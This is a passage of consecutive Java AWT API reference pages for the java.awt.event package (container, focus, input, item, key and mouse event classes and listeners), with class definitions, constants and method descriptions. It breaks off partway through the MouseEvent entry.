AWTEventMulticaster, ComponentAdapter, ComponentEvent, EventListener

Previous | Home | Next
ComponentEvent (New) | Book Index | ContainerAdapter (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] ContainerAdapter

Previous Chapter 21
java.awt.event Reference

ContainerAdapter (New)

Name

ContainerAdapter (New)

[Graphic: Figure from the text]

Description

The ContainerAdapter class implements the methods of ContainerListener with empty functions. It may be easier for you to extend ContainerAdapter, overriding only those methods you are interested in, than to implement ContainerListener and provide the empty functions yourself.

Class Definition

public abstract class java.awt.event.ContainerAdapter
   extends java.lang.Object
   implements java.awt.event.ContainerListener {
  // Instance Methods
  public void componentAdded (ContainerEvent e);
  public void componentRemoved (ContainerEvent e);
}

Instance Methods

componentAdded

public void componentAdded (ComponentEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a component is added to a container.

componentRemoved

public void componentRemoved (ComponentEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a component is removed from a container.

See Also

ContainerEvent, ContainerListener

Previous | Home
ComponentListener (New) | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] ContainerEvent

Previous Chapter 21
java.awt.event Reference

ContainerEvent (New)

Name

ContainerEvent (New)

[Graphic: Figure from the text]

Description

Container events are fired off when a component is added to or removed from a container. The AWT automatically deals with adding components to containers; these events are provided only for notification.

Class Definition

public class java.awt.event.ContainerEvent
   extends java.awt.event.ComponentEvent {
  // Constants
  public final static int COMPONENT_ADDED;
  public final static int COMPONENT_REMOVED;
  public final static int CONTAINER_FIRST;
  public final static int CONTAINER_LAST;
  // Constructors
  public ContainerEvent (Component source, int id, Component child);
  // Instance Methods
  public Component getChild();
  public Container getContainer();
  public String paramString();
}

Constants

COMPONENT_ADDED

public final static int COMPONENT_ADDED

Event type ID indicating that a component was added to a container.

CONTAINER_FIRST

public final static int CONTAINER_FIRST

Specifies the beginning range of container event ID values.

CONTAINER_LAST

public final static int CONTAINER_LAST

Specifies the ending range of container event ID values.

COMPONENT_REMOVED

public final static int COMPONENT_REMOVED

Event type ID indicating that a component was removed from a container.

Constructors

ContainerEvent

public ContainerEvent (Component source, int id, Component child)

Parameters

source

The object that generated the event.

id

The event type ID of the event.

child

The component that was added or removed.

Description

Constructs a ContainerEvent with the given characteristics.

Instance Methods

getChild

public Component getChild()

Returns

The component that is being added or removed.

getContainer

public Container getContainer()

Returns

The container for this event.

paramString

public String paramString()

Returns

String with current settings of the ContainerEvent.

Overrides

ComponentEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

Component, ComponentEvent, Container, ContainerAdapter, ContainerListener

Previous | Home
ContainerAdapter (New) | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] ContainerListener

Previous Chapter 21
java.awt.event Reference 		Next

ContainerListener (New)

Name

ContainerListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the ContainerListener interface can receive ContainerEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.ContainerListener
   extends java.util.EventListener {
  // Instance Methods
  public abstract void componentAdded (ContainerEvent e);
  public abstract void componentRemoved (ContainerEvent e);
}

Interface Methods

componentAdded

public abstract void componentAdded (ContainerEvent e)

Parameters

e

The event that occurred.

Description

Notifies the ContainerListener that a component has been added to the container.

componentRemoved

public abstract void componentRemoved (ContainerEvent e)

Parameters

e

The event that occurred.

Description

Notifies the ContainerListener that a component has been removed from the container.

See Also

ContainerAdapter, ContainerEvent, EventListener

Previous | Home | Next
ContainerEvent (New) | Book Index | FocusAdapter (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] FocusAdapter

Previous Chapter 21
java.awt.event Reference 		Next

FocusAdapter (New)

Name

FocusAdapter (New)

[Graphic: Figure from the text]

Description

The FocusAdapter class implements the methods of FocusListener with empty functions. It may be easier for you to extend FocusAdapter, overriding only those methods you are interested in, than to implement FocusListener and provide the empty functions yourself.

Class Definition

public abstract class java.awt.event.FocusAdapter
   extends java.lang.Object
   implements java.awt.event.FocusListener {
  // Instance Methods
  public void focusGained (FocusEvent e);
  public void focusLost (FocusEvent e);
}

Instance Methods

focusGained

public void focusGained (FocusEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a component gains focus.

focusLost

public void focusLost (FocusEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a component loses focus.

See Also

FocusEvent, FocusListener

Previous | Home | Next
ContainerListener (New) | Book Index | FocusEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] FocusEvent

Previous Chapter 21
java.awt.event Reference 		Next

FocusEvent (New)

Name

FocusEvent (New)

[Graphic: Figure from the text]

Description

Focus events are generated when a component gets or loses input focus. Focus events come in two flavors, permanent and temporary. Permanent focus events occur with explicit focus changes. For example, when the user tabs through components, this causes permanent focus events. An example of a temporary focus event is when a component loses focus as its containing window is deactivated.

Class Definition

public class java.awt.event.FocusEvent
   extends java.awt.event.ComponentEvent {
  // Constants
  public final static int FOCUS_FIRST;
  public final static int FOCUS_GAINED;
  public final static int FOCUS_LAST;
  public final static int FOCUS_LOST;
  // Constructors
  public FocusEvent (Component source, int id);
  public FocusEvent (Component source, int id, boolean temporary);
  // Instance Methods
  public boolean isTemporary();
  public String paramString();
}

Constants

FOCUS_FIRST

public final static int FOCUS_FIRST

Specifies the beginning range of focus event ID values.

FOCUS_GAINED

public final static int FOCUS_GAINED

Event type ID indicating that the component gained the input focus.

FOCUS_LAST

public final static int FOCUS_LAST

Specifies the ending range of focus event ID values.

FOCUS_LOST

public final static int FOCUS_LOST

Event type ID indicating that the component lost the input focus.

Constructors

FocusEvent

public FocusEvent (Component source, int id)

Parameters

source

The object that generated the event.

id

The event type ID of the event.

Description

Constructs a non-temporary FocusEvent with the given characteristics.

public FocusEvent (Component source, int id, boolean temporary)

Parameters

source

The object that generated the event.

id

The event type ID of the event.

temporary

A flag indicating whether this is a temporary focus event.

Description

Constructs a FocusEvent with the given characteristics.

Instance Methods

isTemporary

public boolean isTemporary()

Returns

true if this is a temporary focus event; false otherwise.

paramString

public String paramString()

Returns

String with current settings of the FocusEvent.

Overrides

ComponentEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

Component, ComponentEvent, FocusAdapter, FocusListener

Previous | Home | Next
FocusAdapter (New) | Book Index | FocusListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] FocusListener

Previous Chapter 21
java.awt.event Reference 		Next

FocusListener (New)

Name

FocusListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the FocusListener interface can receive FocusEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.FocusListener
   extends java.util.EventListener {
  // Instance Methods
  public abstract void focusGained (FocusEvent e);
  public abstract void focusLost (FocusEvent e);
}

Interface Methods

focusGained

public abstract void focusGained (FocusEvent e)

Parameters

e

The component event that occurred.

Description

Notifies the FocusListener that a component gained the input focus.

focusLost

public abstract void focusLost (FocusEvent e)

Parameters

e

The component event that occurred.

Description

Notifies the FocusListener that a component lost the input focus.

See Also

AWTEventMulticaster, EventListener, FocusAdapter, FocusEvent

Previous | Home | Next
FocusEvent (New) | Book Index | InputEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] InputEvent

Previous Chapter 21
java.awt.event Reference 		Next

InputEvent (New)

Name

InputEvent (New)

[Graphic: Figure from the text]

Description

InputEvent is the root class for representing user input events. Input events are passed to listeners before the event source processes them. If one of the listeners consumes an event by using consume(), the event will not be processed by the event source peer.

Class Definition

public abstract class java.awt.event.InputEvent
   extends java.awt.event.ComponentEvent {
  // Constants
  public final static int ALT_MASK;
  public final static int BUTTON1_MASK;
  public final static int BUTTON2_MASK;
  public final static int BUTTON3_MASK;
  public final static int CTRL_MASK;
  public final static int META_MASK;
  public final static int SHIFT_MASK;
  // Instance Methods
  public void consume();
  public int getModifiers();
  public long getWhen();
  public boolean isAltDown();
  public boolean isConsumed();
  public boolean isControlDown();
  public boolean isMetaDown();
  public boolean isShiftDown();
}

Constants

ALT_MASK

public final static int ALT_MASK

The ALT key mask. ORed with other masks to form modifiers setting of event.

BUTTON1_MASK

public final static int BUTTON1_MASK

The mouse button 1 key mask. ORed with other masks to form modifiers setting of event.

BUTTON2_MASK

public final static int BUTTON2_MASK

The mouse button 2 key mask. ORed with other masks to form modifiers setting of event. This constant is identical to ALT_MASK.

BUTTON3_MASK

public final static int BUTTON3_MASK

The mouse button 3 key mask. ORed with other masks to form modifiers setting of event. This constant is identical to ALT_MASK.

CTRL_MASK

public final static int CTRL_MASK

The Control key mask. ORed with other masks to form modifiers setting of event.

META_MASK

public final static int META_MASK

The Meta key mask. ORed with other masks to form modifiers setting of event.

SHIFT_MASK

public final static int SHIFT_MASK

The Shift key mask. ORed with other masks to form modifiers setting of event.

Instance Methods

consume

public void consume()

Description

A consumed event will not be delivered to its source for default processing.

getModifiers

public int getModifiers()

Returns

The modifier flags, a combination of the _MASK constants.

Description

Use this method to find out what modifier keys were pressed when an input event occurred.

getWhen

public long getWhen()

Returns

The time at which this event occurred.

Description

The time of the event is returned as the number of milliseconds since the epoch (00:00:00 UTC, January 1, 1970). Conveniently, java.util.Date has a constructor that accepts such values.

isAltDown

public boolean isAltDown()

Returns

true if the Alt key was pressed; false otherwise.

isConsumed

public boolean isConsumed()

Returns

true if the event has been consumed; false otherwise.

isControlDown

public boolean isControlDown()

Returns

true if the Control key was pressed; false otherwise.

isMetaDown

public boolean isMetaDown()

Returns

true if the Meta key was pressed; false otherwise.

isShiftDown

public boolean isShiftDown()

Returns

true if the Shift key was pressed; false otherwise.

See Also

ComponentEvent, KeyEvent, MouseEvent

Previous | Home | Next
FocusListener (New) | Book Index | ItemEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] ItemEvent

Previous Chapter 21
java.awt.event Reference 		Next

ItemEvent (New)

Name

ItemEvent (New)

[Graphic: Figure from the text]

Description

ItemEvents are generated by objects that implement the ItemSelectable interface. Choice is one example of such an object.

Class Definition

public class java.awt.event.ItemEvent
   extends java.awt.AWTEvent {
  // Constants
  public final static int DESELECTED;
  public final static int ITEM_FIRST;
  public final static int ITEM_LAST;
  public final static int ITEM_STATE_CHANGED;
  public final static int SELECTED;
  // Constructors
  public ItemEvent (ItemSelectable source, int id, Object item, int stateChange);

// Instance Methods
  public Object getItem();
  public ItemSelectable getItemSelectable();
  public int getStateChange();
  public String paramString();
}

Constants

DESELECTED

public final static int DESELECTED

Indicates that an item was deselected.

ITEM_FIRST

public final static int ITEM_FIRST

Specifies the beginning range of item event ID values.

ITEM_LAST

public final static int ITEM_LAST

Specifies the ending range of item event ID values.

ITEM_STATE_CHANGED

public final static int ITEM_STATE_CHANGED

An event type indicating that an item was selected or deselected.

SELECTED

public final static int SELECTED

Indicates that an item was selected.

Constructors

ItemEvent

public ItemEvent (ItemSelectable source, int id, Object item, int stateChange)

Parameters

source

The object that generated the event.

id

The type ID of the event.

item

The item whose state is changing.

stateChange

Either SELECTED or DESELECTED.

Description

Constructs an ItemEvent with the given characteristics.

Instance Methods

getItem

public Object getItem()

Returns

The item pertaining to this event.

Description

Returns the item whose changed state triggered this event.

getItemSelectable

public ItemSelectable getItemSelectable()

Returns

The source of this event.

Description

Returns an object that implements the ItemSelectable interface.

getStateChange

public int getStateChange()

Returns

The change in state that triggered this event. The new state is returned.

Description

This method will return SELECTED or DESELECTED.

paramString

public String paramString()

Returns

String with current settings of ItemEvent.

Overrides

AWTEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

AWTEvent, ItemSelectable, ItemListener

Previous | Home | Next
InputEvent (New) | Book Index | ItemListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] ItemListener

Previous Chapter 21
java.awt.event Reference 		Next

ItemListener (New)

Name

ItemListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the ItemListener interface can receive ItemEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.ItemListener
   extends java.util.EventListener {
  // Interface Methods
  public abstract void itemStateChanged (ItemEvent e);
}

Interface Methods

itemStateChanged

public abstract void itemStateChanged (ItemEvent e)

Parameters

e

The item event that occurred.

Description

Notifies the ItemListener that an event occurred.

See Also

AWTEventMulticaster, EventListener, ItemEvent

Previous | Home | Next
ItemEvent (New) | Book Index | KeyAdapter (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] KeyAdapter

Previous Chapter 21
java.awt.event Reference 		Next

KeyAdapter (New)

Name

KeyAdapter (New)

[Graphic: Figure from the text]

Description

The KeyAdapter class implements the methods of KeyListener with empty functions. It may be easier for you to extend KeyAdapter, overriding only those methods you are interested in, than to implement KeyListener and provide the empty functions yourself.

Class Definition

public abstract class java.awt.event.KeyAdapter
   extends java.lang.Object
   implements java.awt.event.KeyListener {
  // Instance Methods
  public void keyPressed (KeyEvent e);
  public void keyReleased (KeyEvent e);
  public void keyTyped (KeyEvent e);
}

Instance Methods

keyPressed

public void keyPressed (KeyEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a key is pressed.

keyReleased

public void keyReleased (KeyEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a pressed key is released.

keyTyped

public void keyTyped (KeyEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a key has been pressed and released.

See Also

KeyEvent, KeyListener

Previous | Home | Next
ItemListener (New) | Book Index | KeyEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] KeyEvent

Previous Chapter 21
java.awt.event Reference 		Next

KeyEvent (New)

Name

KeyEvent (New)

[Graphic: Figure from the text]

Description

Key events are generated when the user types on the keyboard.

Class Definition

public class java.awt.event.KeyEvent
   extends java.awt.event.InputEvent {
  // Constants
  public final static int CHAR_UNDEFINED;
  public final static int KEY_FIRST;
  public final static int KEY_LAST;
  public final static int KEY_PRESSED;
  public final static int KEY_RELEASED;
  public final static int KEY_TYPED;
  public final static int VK_0;
  public final static int VK_1;
  public final static int VK_2;
  public final static int VK_3;
  public final static int VK_4;
  public final static int VK_5;
  public final static int VK_6;
  public final static int VK_7;
  public final static int VK_8;
  public final static int VK_9;
  public final static int VK_A;
  public final static int VK_ACCEPT;
  public final static int VK_ADD;
  public final static int VK_ALT;
  public final static int VK_B;
  public final static int VK_BACK_QUOTE;
  public final static int VK_BACK_SLASH;
  public final static int VK_BACK_SPACE;
  public final static int VK_C;
  public final static int VK_CANCEL;
  public final static int VK_CAPS_LOCK;
  public final static int VK_CLEAR;
  public final static int VK_CLOSE_BRACKET;
  public final static int VK_COMMA;
  public final static int VK_CONTROL;
  public final static int VK_CONVERT;
  public final static int VK_D;
  public final static int VK_DECIMAL;
  public final static int VK_DELETE;
  public final static int VK_DIVIDE;
  public final static int VK_DOWN;
  public final static int VK_E;
  public final static int VK_END;
  public final static int VK_ENTER;
  public final static int VK_EQUALS;
  public final static int VK_ESCAPE;
  public final static int VK_F;
  public final static int VK_F1;
  public final static int VK_F2;
  public final static int VK_F3;
  public final static int VK_F4;
  public final static int VK_F5;
  public final static int VK_F6;
  public final static int VK_F7;
  public final static int VK_F8;
  public final static int VK_F9;
  public final static int VK_F10;
  public final static int VK_F11;
  public final static int VK_F12;
  public final static int VK_FINAL;
  public final static int VK_G;
  public final static int VK_H;
  public final static int VK_HELP;
  public final static int VK_HOME;
  public final static int VK_I;
  public final static int VK_INSERT;
  public final static int VK_J;
  public final static int VK_K;
  public final static int VK_KANA;
  public final static int VK_KANJI;
  public final static int VK_L;
  public final static int VK_LEFT;
  public final static int VK_M;
  public final static int VK_META;
  public final static int VK_MODECHANGE;
  public final static int VK_MULTIPLY;
  public final static int VK_N;
  public final static int VK_NONCONVERT;
  public final static int VK_NUM_LOCK;
  public final static int VK_NUMPAD0;
  public final static int VK_NUMPAD1;
  public final static int VK_NUMPAD2;
  public final static int VK_NUMPAD3;
  public final static int VK_NUMPAD4;
  public final static int VK_NUMPAD5;
  public final static int VK_NUMPAD6;
  public final static int VK_NUMPAD7;
  public final static int VK_NUMPAD8;
  public final static int VK_NUMPAD9;
  public final static int VK_O;
  public final static int VK_OPEN_BRACKET;
  public final static int VK_P;
  public final static int VK_PAGE_DOWN;
  public final static int VK_PAGE_UP;
  public final static int VK_PAUSE;
  public final static int VK_PERIOD;
  public final static int VK_PRINTSCREEN;
  public final static int VK_Q;
  public final static int VK_QUOTE;
  public final static int VK_R;
  public final static int VK_RIGHT;
  public final static int VK_S;
  public final static int VK_SCROLL_LOCK;
  public final static int VK_SEMICOLON;
  public final static int VK_SEPARATER;
  public final static int VK_SHIFT;
  public final static int VK_SLASH;
  public final static int VK_SPACE;
  public final static int VK_SUBTRACT;
  public final static int VK_T;
  public final static int VK_TAB;
  public final static int VK_U;
  public final static int VK_UNDEFINED;
  public final static int VK_UP;
  public final static int VK_V;
  public final static int VK_W;
  public final static int VK_X;
  public final static int VK_Y;
  public final static int VK_Z;
  // Constructors
  public KeyEvent (Component source, int id, long when, int modifiers,
    int keyCode, char keyChar);
  // Class Methods
  public static String getKeyModifiersText(int modifiers);
  public static String getKeyText(int keyCode);
  // Instance Methods
  public char getKeyChar();
  public int getKeyCode();
  public boolean isActionKey();
  public String paramString();
  public void setKeyChar (char keyChar);
  public void setKeyCode (int keyCode);
  public void setModifiers (int modifiers);
}

Constants

CHAR_UNDEFINED

public final static int CHAR_UNDEFINED

This constant is used for key presses have that no associated character.

KEY_FIRST

public final static int KEY_FIRST

Specifies the beginning range of key event ID values.

KEY_LAST

public final static int KEY_LAST

Specifies the ending range of key event ID values.

KEY_PRESSED

public final static int KEY_PRESSED

An event ID type for a key press.

KEY_RELEASED

public final static int KEY_RELEASED

An event ID type for a key release.

KEY_TYPED

public final static int KEY_TYPED

An event ID type for a typed key (a press and a release).

VK_0

public final static int VK_0

The 0 key.

VK_1

public final static int VK_1

The 1 key.

VK_2

public final static int VK_2

The 2 key.

VK_3

public final static int VK_3

The 3 key.

VK_4

public final static int VK_4

The 4 key.

VK_5

public final static int VK_5

The 5 key.

VK_6

public final static int VK_6

The 6 key.

VK_7

public final static int VK_7

The 7 key.

VK_8

public final static int VK_8

The 8 key.

VK_9

public final static int VK_9

The 9 key.

VK_A

public final static int VK_A

The `a' key.

VK_ACCEPT

public final static int VK_ACCEPT

This constant is used for Asian keyboards.

VK_ADD

public final static int VK_ADD

The plus (+) key on the numeric keypad.

VK_ALT

public final static int VK_ALT

The Alt key.

VK_B

public final static int VK_B

The `b' key.

VK_BACK_QUOTE

public final static int VK_BACK_QUOTE

The backquote (`) key.

VK_BACK_SLASH

public final static int VK_BACK_SLASH

The backslash key.

VK_BACK_SPACE

public final static int VK_BACK_SPACE

The Backspace key.

VK_C

public final static int VK_C

The `c' key.

VK_CANCEL

public final static int VK_CANCEL

The Cancel key.

VK_CAPS_LOCK

public final static int VK_CAPS_LOCK

The Caps Lock key.

VK_CLEAR

public final static int VK_CLEAR

The Clear key.

VK_CLOSE_BRACKET

public final static int VK_CLOSE_BRACKET

The close bracket `]' key.

VK_COMMA

public final static int VK_COMMA

The comma (,) key.

VK_CONTROL

public final static int VK_CONTROL

The Control key.

VK_CONVERT

public final static int VK_CONVERT

This constant is used for Asian keyboards.

VK_D

public final static int VK_D

The `d' key.

VK_DECIMAL

public final static int VK_DECIMAL

The decimal (.) key on the numeric keypad.

VK_DELETE

public final static int VK_DELETE

The Delete key.

VK_DIVIDE

public final static int VK_DIVIDE

The divide (/) key on the numeric keypad.

VK_DOWN

public final static int VK_DOWN

The Down arrow key.

VK_E

public final static int VK_E

The `e' key.

VK_END

public final static int VK_END

The End key.

VK_ENTER

public final static int VK_ENTER

The Enter key.

VK_EQUALS

public final static int VK_ EQUALS

The equals (=) key.

VK_ESCAPE

public final static int VK_ESCAPE

The Escape key.

VK_F

public final static int VK_F

The `f' key.

VK_F1

public final static int VK_F1

The F1 key.

VK_F2

public final static int VK_F2

The F2 key.

VK_F3

public final static int VK_F3

The F3 key.

VK_F4

public final static int VK_F4

The F4 key.

VK_F5

public final static int VK_F5

The F5 key.

VK_F6

public final static int VK_F6

The F6 key.

VK_F7

public final static int VK_F7

The F7 key.

VK_F8

public final static int VK_F8

The F8 key.

VK_F9

public final static int VK_F9

The F9 key.

VK_F10

public final static int VK_F10

The F10 key.

VK_F11

public final static int VK_F11

The F11 key.

VK_F12

public final static int VK_F12

The F12 key.

VK_FINAL

public final static int VK_FINAL

This constant is used for Asian keyboards.

VK_G

public final static int VK_G

The `g' key.

VK_H

public final static int VK_H

The `h' key.

VK_HELP

public final static int VK_HELP

The Help key.

VK_HOME

public final static int VK_HOME

The Home key.

VK_I

public final static int VK_I

The `i' key.

VK_INSERT

public final static int VK_INSERT

The Insert key.

VK_J

public final static int VK_J

The `j' key.

VK_K

public final static int VK_K

The `k' key.

VK_KANA

public final static int VK_KANA

This constant is used for Asian keyboards.

VK_KANJI

public final static int VK_KANJI

This constant is used for Asian keyboards.

VK_L

public final static int VK_L

The `l' key.

VK_LEFT

public final static int VK_LEFT

The Left arrow key.

VK_M

public final static int VK_M

The `m' key.

VK_MODECHANGE

public final static int VK_MODECHANGE

This constant is used for Asian keyboards.

VK_META

public final static int VK_META

The Meta key.

VK_MULTIPLY

public final static int VK_MULTIPLY

The * key on the numeric keypad.

VK_N

public final static int VK_N

The `n' key.

VK_NONCONVERT

public final static int VK_NONCONVERT

This constant is used for Asian keyboards.

VK_NUM_LOCK

public final static int VK_NUM_LOCK

The Num Lock key.

VK_NUMPAD0

public final static int VK_NUMPAD0

The 0 key on the numeric keypad.

VK_NUMPAD1

public final static int VK_NUMPAD1

The 1 key on the numeric keypad.

VK_NUMPAD2

public final static int VK_NUMPAD2

The 2 key on the numeric keypad.

VK_NUMPAD3

public final static int VK_NUMPAD3

The 3 key on the numeric keypad.

VK_NUMPAD4

public final static int VK_NUMPAD4

The 4 key on the numeric keypad.

VK_NUMPAD5

public final static int VK_NUMPAD5

The 5 key on the numeric keypad.

VK_NUMPAD6

public final static int VK_NUMPAD6

The 6 key on the numeric keypad.

VK_NUMPAD7

public final static int VK_NUMPAD7

The 7 key on the numeric keypad.

VK_NUMPAD8

public final static int VK_NUMPAD8

The 8 key on the numeric keypad.

VK_NUMPAD9

public final static int VK_NUMPAD9

The 9 key on the numeric keypad.

VK_O

public final static int VK_O

The `o' key.

VK_OPEN_BRACKET

public final static int VK_OPEN_BRACKET

The open bracket `[` key.

VK_P

public final static int VK_P

The `p' key.

VK_PAGE_DOWN

public final static int VK_PAGE_DOWN

The Page Down key.

VK_PAGE_UP

public final static int VK_PAGE_UP

The Page Up key.

VK_PAUSE

public final static int VK_PAUSE

The Pause key.

VK_PERIOD

public final static int VK_PERIOD

The period (.) key.

VK_PRINTSCREEN

public final static int VK_PRINTSCREEN

The Print Screen key.

VK_Q

public final static int VK_Q

The `q' key.

VK_QUOTE

public final static int VK_QUOTE

The quotation mark (") key.

VK_R

public final static int VK_R

The `r' key.

VK_RIGHT

public final static int VK_RIGHT

The Right arrow key.

VK_S

public final static int VK_S

The `s' key.

VK_SCROLL_LOCK

public final static int VK_SCROLL_LOCK

The Scroll Lock key.

VK_SEMICOLON

public final static int VK_SEMICOLON

The semicolon (;) key.

VK_SEPARATER

public final static int VK_SEPARATER

The numeric separator key on the numeric keypad (i.e., the locale-dependent key used to separate groups of digits). A misspelling of VK_SEPARATOR.

VK_SHIFT

public final static int VK_SHIFT

The Shift key.

VK_SLASH

public final static int VK_SLASH

The slash (/) key.

VK_SPACE

public final static int VK_SPACE

The space key.

VK_SUBTRACT

public final static int VK_SUBTRACT

The subtract (-) key on the numeric keypad.

VK_T

public final static int VK_T

The `t' key.

VK_TAB

public final static int VK_TAB

The Tab key.

VK_U

public final static int VK_U

The `u' key.

VK_UNDEFINED

public final static int VK_UNDEFINED

An undefined key.

VK_UP

public final static int VK_UP

The Up arrow key.

VK_V

public final static int VK_V

The `v' key.

VK_W

public final static int VK_W

The `w' key.

VK_X

public final static int VK_X

The `x' key.

VK_Y

public final static int VK_Y

The `y' key.

VK_Z

public final static int VK_Z

The `z' key.

Constructors

KeyEvent

public KeyEvent (Component source, int id, long when, int modifiers, int keyCode, char keyChar)

Parameters

source

The object that generated the event.

id

The event type ID of the event.

when

When the event occurred, in milliseconds from the epoch.

modifiers

What modifier keys were pressed with this key.

keyCode

The code of the key.

keyChar

The character for this key.

Description

Constructs a KeyEvent with the given characteristics.

Class Methods

getKeyModifiersText

public static String getKeyModifiersText(int modifiers)

Parameters

modifiers

One or more modifier keys.

Returns

A string describing the modifiers.

getKeyText

public static String getKeyText(int keyCode)

Parameters

keyCode

One of the key codes.

Returns

A string describing the given key.

Instance Methods

getKeyChar

public char getKeyChar()

Returns

The character corresponding to this event. KEY_TYPED events have characters.

getKeyCode

public int getKeyCode()

Returns

The integer key code corresponding to this event. This will be one of the constants defined above. KEY_PRESSED and KEY_RELEASED events have codes. Key codes are virtual keys, not actual. Pressing the `a' key is identical to `A', but has different modifiers. Same for `/' and `?' on a standard keyboard.

isActionKey

public boolean isActionKey()

Returns

true if this event is for one of the action keys; false otherwise.

Description

In general, an action key is a key that causes an action but has no printing equivalent. The action keys are the function keys, the arrow keys, Caps Lock, End, Home, Insert, Num Lock, Pause, Page Down, Page Up, Print Screen, and Scroll Lock. They do not generate a KEY_TYPED event, only KEY_PRESSED and KEY_RELEASED.

paramString

public String paramString()

Returns

A string with current settings of the KeyEvent.

Overrides

ComponentEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

setKeyChar

public void setKeyChar(char keyChar)

Parameters

keyChar

The new key character.

Description

Sets the character code of this KeyEvent.

setKeyCode

public void setKeyCode (int keyCode)

Parameters

keyCode

The new key code.

Description

Sets the key code of this KeyEvent.

setModifiers

public void setModifiers (int modifiers)

Parameters

modifiers

The new modifiers.

Description

This is a combination of the mask constants defined in java.awt.event.InputEvent.

See Also

Component, ComponentEvent, InputEvent, KeyAdapter, KeyListener

Previous | Home | Next
KeyAdapter (New) | Book Index | KeyListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] KeyListener

Previous Chapter 21
java.awt.event Reference 		Next

KeyListener (New)

Name

KeyListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the KeyListener interface can receive KeyEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.KeyListener
   extends java.util.EventListener {
  // Instance Methods
  public abstract void keyPressed (KeyEvent e);
  public abstract void keyReleased (KeyEvent e);
  public abstract void keyTyped (KeyEvent e);
}

Interface Methods

keyPressed

public abstract void keyPressed (KeyEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the KeyListener that a key was pressed.

keyReleased

public abstract void keyReleased (KeyEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the KeyListener that a key was released.

keyTyped

public abstract void keyTyped (KeyEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the KeyListener that a key was typed (pressed and released).

See Also

AWTEventMulticaster, EventListener, KeyEvent, KeyListener

Previous | Home | Next
KeyEvent (New) | Book Index | MouseAdapter (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] MouseAdapter

Previous Chapter 21
java.awt.event Reference 		Next

MouseAdapter (New)

Name

MouseAdapter (New)

[Graphic: Figure from the text]

Description

The MouseAdapter class implements the methods of MouseListener with empty functions. It may be easier for you to extend MouseAdapter, overriding only those methods you are interested in, than to implement MouseListener and provide the empty functions yourself.

Class Definition

public abstract class java.awt.event.MouseAdapter
   extends java.lang.Object
   implements java.awt.event.MouseListener {
  // Instance Methods
  public void mouseClicked (MouseEvent e);
  public void mouseEntered (MouseEvent e);
  public void mouseExited (MouseEvent e);
  public void mousePressed (MouseEvent e);
  public void mouseReleased (MouseEvent e);
}

Instance Methods

mouseClicked

public void mouseClicked (MouseEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when the mouse button is clicked (pressed and released).

mouseEntered

public void mouseEntered (MouseEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when the user moves the mouse cursor into a component.

mouseExited

public void mouseExited (MouseEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when the moves the mouse cursor out of a component.

mousePressed

public void mousePressed (MouseEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when the mouse button is pressed.

mouseReleased

public void mouseReleased (MouseEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when the mouse button is released.

See Also

MouseEvent, MouseListener

Previous | Home | Next
KeyListener (New) | Book Index | MouseEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] MouseEvent

Previous Chapter 21
java.awt.event Reference 		Next

MouseEvent (New)

Name

MouseEvent (New)

[Graphic: Figure from the text]

Description

Mouse events are generated when the user moves and clicks the mouse.

Class Definition

public class java.awt.event.MouseEvent
   extends java.awt.event.InputEvent {
  // Constants
  public final static int MOUSE_CLICKED;
  public final static int MOUSE_DRAGGED;
  public final static int MOUSE_ENTERED;
  public final static int MOUSE_EXITED;
